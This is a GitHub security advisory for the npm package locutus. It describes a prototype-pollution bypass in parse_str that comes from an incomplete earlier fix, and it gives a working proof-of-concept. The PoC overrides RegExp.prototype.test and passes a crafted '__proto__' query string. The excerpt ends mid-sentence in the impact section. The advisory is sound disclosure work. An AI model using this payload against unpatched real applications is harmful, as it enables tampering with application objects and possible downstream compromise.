GitHub Security Advisory: GHSA-vc8f-x9pp-wf5p
Package: locutus (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Vulnerable versions: >= 2.0.39, < 3.0.25
Patched in: 3.0.25

Summary: Locutus Prototype Pollution due to incomplete fix for CVE-2026-25521

Details:
## Summary

A prototype pollution vulnerability exists in the `parse_str` function of the npm package locutus. An attacker can pollute `Object.prototype` by overriding `RegExp.prototype.test` and then passing a crafted query string to `parse_str`, bypassing the prototype pollution guard.

This vulnerability stems from an incomplete fix for [CVE-2026-25521](https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh). The CVE-2026-25521 patch replaced the `String.prototype.includes()`-based guard with a `RegExp.prototype.test()`-based guard. However, `RegExp.prototype.test` is itself a writable prototype method that can be overridden, making the new guard bypassable in the same way as the original — trading one hijackable built-in for another.

## Package

locutus (npm)

## Affected versions

>= 2.0.39, <= 3.0.24

Tested and confirmed vulnerable on **2.0.39** and **3.0.24** (latest). Version 2.0.38 (pre-fix) uses a different guard (`String.prototype.includes`) and is not affected by this specific bypass.

---

## Description

### Details

The vulnerability resides in `parse_str.js` where the `RegExp.prototype.test()` function is used to check whether user-provided input contains forbidden keys:

```javascript
if (/__proto__|constructor|prototype/.test(key)) {
  break
}
```

The previous guard (fixed in CVE-2026-25521) used `String.prototype.includes()`:

```javascript
if (key.includes('__proto__')) {
  break
}
```

The CVE-2026-25521 fix correctly identified that `String.prototype.includes` can be hijacked. However, the replacement guard using `RegExp.prototype.test()` suffers from the same class of weakness — `RegExp.prototype.test` is a writable method on the prototype chain and can be overridden to always return `false`, completely disabling the guard.

The robust fix is to use direct string comparison operators (`===`) in native control flow (`for`/`if`) instead of prototype methods like `RegExp.prototype.test()`, since `===` is a language-level operator that cannot be overridden.

### PoC

#### Steps to reproduce

1. Install locutus using `npm install locutus`
2. Run the following code snippet:

```javascript
const parse_str = require('locutus/php/strings/parse_str');

// Hijack RegExp.prototype.test (simulates a prior prototype pollution gadget)
const original = RegExp.prototype.test;
RegExp.prototype.test = function () { return false; };

// Payload
const result = {};
parse_str('__proto__[polluted]=yes', result);

// Check
RegExp.prototype.test = original;
console.log(({}).polluted); // 'yes' — prototype is polluted
```

#### Expected behavior

Prototype pollution should be prevented and `({}).polluted` should print `undefined`.

```
undefined
```

#### Actual behavior

`Object.prototype` is polluted. This is printed on the console:

```
yes
```

### Impact

This is a prototype pollution vulnerability with the same impact as CVE-2026-25521. The attack requires a chaining scenario — an attacker needs a separate prototype pol